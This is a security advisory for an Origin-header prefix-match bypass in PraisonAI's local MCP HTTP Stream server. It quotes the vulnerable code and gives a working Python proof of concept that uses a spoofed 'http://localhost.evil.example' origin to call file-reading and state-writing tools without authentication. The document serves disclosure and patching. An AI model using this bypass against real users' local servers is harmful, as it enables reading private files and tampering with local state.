Medium

PraisonAI has an origin validation bypass in MCP HTTP Stream transport that allows browser-mediated unauthenticated tool execution on local MCP server

  • Disclosed: 25.08.2026
  • Updated: 11.10.2026 15:18

Summary

PraisonAI's MCP HTTP Stream transport uses an unsafe prefix match when validating the Origin header. The default localhost allowlist includes origins such as http://localhost, and the validation accepts any origin that starts with an allowed value.

As a result, an attacker-controlled origin such as http://localhost.evil.example passes the localhost origin check.

When the MCP HTTP Stream server is started without an API key, which is the CLI default, this allows a malicious webpage to trigger unauthenticated MCP tools/call requests against a locally running PraisonAI MCP server.

This is best framed as a browser-mediated localhost attack / DNS-rebinding-style Origin validation bypass. The default server binds to 127.0.0.1, so this is not a directly internet-facing unauthenticated API in the default configuration.

Details

Relevant source locations:

  • src/praisonai/praisonai/mcp_server/cli.py
  • src/praisonai/praisonai/mcp_server/transports/http_stream.py
  • src/praisonai/praisonai/mcp_server/server.py
  • src/praisonai/praisonai/mcp_server/adapters/__init__.py
  • src/praisonai/praisonai/mcp_server/adapters/extended_capabilities.py
  • src/praisonai/praisonai/mcp_server/adapters/cli_tools.py
  • src/praisonai/praisonai/capabilities/files.py

The MCP CLI defaults to HTTP host 127.0.0.1, API key None, and allowed origins None unless explicitly configured:

python
parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, default=8080)
parser.add_argument("--api-key", default=None)
parser.add_argument("--allowed-origins", default=None, help="Comma-separated allowed origins for security")

The CLI registers all tools and passes the optional API key and allowed origins into the HTTP Stream transport:

python
register_all()

server.run_http_stream(
    host=parsed.host,
    port=parsed.port,
    endpoint=parsed.endpoint,
    api_key=parsed.api_key,
    cors_origins=cors_origins,
    allowed_origins=allowed_origins,
    session_ttl=parsed.session_ttl,
    allow_client_termination=allow_termination,
    response_mode=parsed.response_mode,
    resumability_enabled=parsed.resumability,
)

When allowed_origins is not explicitly configured and the server binds to localhost, the transport allowlist includes bare localhost origins:

python
if allowed_origins is None:
    if host in ("127.0.0.1", "localhost", "::1"):
        self.allowed_origins = [
            "http://localhost",
            "http://127.0.0.1",
            "https://localhost",
            "https://127.0.0.1",
        ]

The vulnerable validation accepts origins that merely start with an allowlisted value:

python
for allowed in self.allowed_origins:
    if request_origin == allowed or request_origin.startswith(allowed):
        return True

Because http://localhost.evil.example starts with http://localhost, it is accepted as a trusted localhost origin.

Authentication is only enforced if an API key is configured:

python
if self.api_key:
    auth_header = request.headers.get("Authorization", "")
    if not auth_header.startswith("Bearer ") or auth_header[7:] != self.api_key:
        return JSONResponse(
            {"error": "Unauthorized"},
            status_code=401,
        )

The request body is then parsed and dispatched to the MCP server:

python
body = await request.json()
response = await self.server.handle_message(body)

The MCP server handles tools/call by looking up the named tool and invoking the registered handler with attacker-controlled arguments:

python
tool_name = params.get("name")
arguments = params.get("arguments", {})

tool = self._tool_registry.get(tool_name)

if asyncio.iscoroutinefunction(tool.handler):
    result = await tool.handler(**arguments)
else:
    result = tool.handler(**arguments)

register_all() registers capability tools, extended capability tools, CLI tools, resources, and prompts:

python
def _register_all():
    register_all_tools()
    register_extended_capability_tools()
    register_cli_tools()
    register_mcp_resources()
    register_mcp_prompts()

One exposed MCP tool is praisonai.files.create, which accepts a local file_path and passes it to file_create():

python
@register_tool("praisonai.files.create")
def files_create(file_path: str, purpose: str = "assistants") -> str:
    from praisonai.capabilities import file_create
    result = file_create(file=file_path, purpose=purpose)

file_create() opens attacker-selected string paths as local files and passes the file object to LiteLLM:

python
file_obj = file
if isinstance(file, str):
    file_obj = open(file, 'rb')

response = litellm.create_file(**call_kwargs)

Another exposed MCP tool, praisonai.todo.add, writes attacker-supplied content into local PraisonAI state at ~/.praison/todo.json.

PoC

The following local PoC verifies the vulnerable Origin logic and unauthenticated MCP tool execution without contacting any external provider. It uses a fake in-memory litellm module so the file-read effect is captured locally and safely.

Run from the repository root with test dependencies installed:

bash
python3 poc_mcp_origin_bypass.py

poc_mcp_origin_bypass.py:

python
import json
import os
import sys
import tempfile
import types
from pathlib import Path

from starlette.testclient import TestClient

ROOT = Path.cwd()
sys.path.insert(0, str(ROOT / "src" / "praisonai"))
sys.path.insert(0, str(ROOT / "src" / "praisonai-agents"))

# Fake litellm so the PoC proves local file read without network exfiltration.
captured = {}
fake_litellm = types.ModuleType("litellm")

def create_file(**kwargs):
    f = kwargs["file"]
    captured["filename"] = getattr(f, "name", "<bytes>")
    captured["content"] = f.read().decode("utf-8")

    class Resp:
        id = "file-safe-local-poc"
        object = "file"
        bytes = len(captured["content"])
        filename = captured["filename"]
        purpose = kwargs.get("purpose")
        status = "processed"

    return Resp()

fake_litellm.create_file = create_file
sys.modules["litellm"] = fake_litellm

from praisonai.mcp_server.server import MCPServer
from praisonai.mcp_server.transports.http_stream import HTTPStreamTransport
from praisonai.mcp_server.adapters import register_all

register_all()
server = MCPServer(name="praisonai-local-poc")

# Default vulnerable configuration: localhost host, no API key, default allowed origins.
transport = HTTPStreamTransport(
    server=server,
    host="127.0.0.1",
    api_key=None,
    allowed_origins=None,
)
app = transport._create_app()
client = TestClient(app)

with tempfile.TemporaryDirectory() as td:
    os.environ["HOME"] = td

    marker = Path(td) / "safe-marker.txt"
    marker.write_text("SAFE_LOCAL_MARKER_MCP_FILE_READ")

    file_payload = {
        "jsonrpc": "2.0",
        "id": 1,
        "method": "tools/call",
        "params": {
            "name": "praisonai.files.create",
            "arguments": {
                "file_path": str(marker),
                "purpose": "assistants",
            },
        },
    }

    # Non-localhost malicious origin is blocked.
    blocked = client.post(
        "/mcp",
        data=json.dumps(file_payload),
        headers={
            "Origin": "https://evil.example",
            "Content-Type": "text/plain",
        },
    )

    # Prefix-matching bypass: accepted because it starts with http://localhost.
    bypass = client.post(
        "/mcp",
        data=json.dumps(file_payload),
        headers={
            "Origin": "http://localhost.evil.example",
            "Content-Type": "text/plain",
        },
    )

    todo_payload = {
        "jsonrpc": "2.0",
        "id": 2,
        "method": "tools/call",
        "params": {
            "name": "praisonai.todo.add",
            "arguments": {
                "content": "SAFE_LOCAL_TODO_MARKER",
                "priority": "high",
            },
        },
    }

    todo = client.post(
        "/mcp",
        data=json.dumps(todo_payload),
        headers={
            "Origin": "http://localhost.evil.example",
            "Content-Type": "text/plain",
        },
    )

    todo_file = Path(td) / ".praison" / "todo.json"

    print(json.dumps({
        "blocked_origin_status": blocked.status_code,
        "bypass_origin_status": bypass.status_code,
        "bypass_response_text": bypass.json().get("result", {}).get("content", [{}])[0].get("text"),
        "captured_file_basename": Path(captured.get("filename", "")).name,
        "captured_file_content": captured.get("content"),
        "todo_status": todo.status_code,
        "todo_response_text": todo.json().get("result", {}).get("content", [{}])[0].get("text"),
        "todo_file_exists": todo_file.exists(),
    }, indent=2))

Observed output:

js
{
  "blocked_origin_status": 403,
  "bypass_origin_status": 200,
  "bypass_response_text": "File created: file-safe-local-poc",
  "captured_file_basename": "safe-marker.txt",
  "captured_file_content": "SAFE_LOCAL_MARKER_MCP_FILE_READ",
  "todo_status": 200,
  "todo_response_text": "Todo added: 0440613d",
  "todo_file_exists": true
}

The important results are:

  • Origin: https://evil.example is rejected with 403.
  • Origin: http://localhost.evil.example is accepted with 200.
  • The bypassed request invokes praisonai.files.create and reads the local safe marker file.
  • The bypassed request invokes praisonai.todo.add and writes local PraisonAI state.

Impact

A malicious webpage can bypass the localhost Origin allowlist and trigger MCP tools/call requests against a locally running unauthenticated HTTP Stream server.

In local testing, this allowed invoking registered PraisonAI tools that:

  • read an attacker-selected local file path and pass the file handle to the configured LiteLLM provider; and
  • modify local PraisonAI state by writing to ~/.praison/todo.json.

The default MCP HTTP Stream bind address is localhost, so exploitation is browser-mediated. A practical attack requires the victim to run the HTTP Stream MCP server without an API key and visit an attacker-controlled origin that matches the prefix bypass, or a DNS-rebinding-style setup. If an API key is configured, exploitability is significantly reduced.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) praisonai < 4.6.58 4.6.58

References

CVSS score 6.9/10
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N
Weakness (CWE)
CWE-306, CWE-346
Platform
Python (PyPI)
Package
praisonai
Disclosed
25.08.2026
Updated
11.10.2026 15:18

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-3896 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-wj6g-v78p-6fx3 - CC BY 4.0

Vulnerability history: praisonai

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (104) in the archive
Total entries
104
First → latest
04.2026 10.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 27
  • High 60
  • Medium 17

Disclosures per year

  1. 2026: 104
Severity:
  1. High · 7.5 CVE-2026-61439 < 4.6.78 4.6.78
  2. PraisonAI has an origin validation bypass in MCP HTTP Stream transport that allows browser-mediated unauthenticated tool execution on local MCP server this entry
    Medium · 6.9 CVE-2026-55529 < 4.6.58 4.6.58
  3. High · 7.3 CVE-2026-56839 < 4.6.59 4.6.59
  4. High · 7.2 CVE-2026-57114 >= 4.5.126, < 4.6.59 4.6.59
  5. Critical · 9.8 CVE-2026-57125 < 4.6.59 4.6.59
  6. High · 8.8 CVE-2026-57117 >= 4.6.10, < 4.6.59 4.6.59
  7. High · 7.8 CVE-2026-56838 >= 4.5.87, < 4.6.59 4.6.59
  8. High · 8.3 CVE-2026-56835 >= 3.11.0, < 4.6.59 4.6.59
  9. High · 8.2 CVE-2026-56836 >= 4.5.112, < 4.6.59 4.6.59
  10. High CVE-2026-47397 < 4.6.40 4.6.40
  11. Critical · 9.8 CVE-2026-41497 < 4.5.149 4.5.149
  12. Critical · 9.8 CVE-2026-40288 < 4.5.139 4.5.139
  13. High · 8.4 CVE-2026-40287 < 4.5.139 4.5.139
  14. Critical · 9.3 CVE-2026-40154 < 4.5.128 4.5.128
  15. Critical · 9.6 CVE-2026-40088 < 4.5.121 4.5.121
  16. High · 8.8 CVE-2026-39891 < 4.5.115 4.5.115
  17. Critical CVE-2026-35615 < 1.5.113 1.5.113
Show more (8) Showing 80 of 88

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.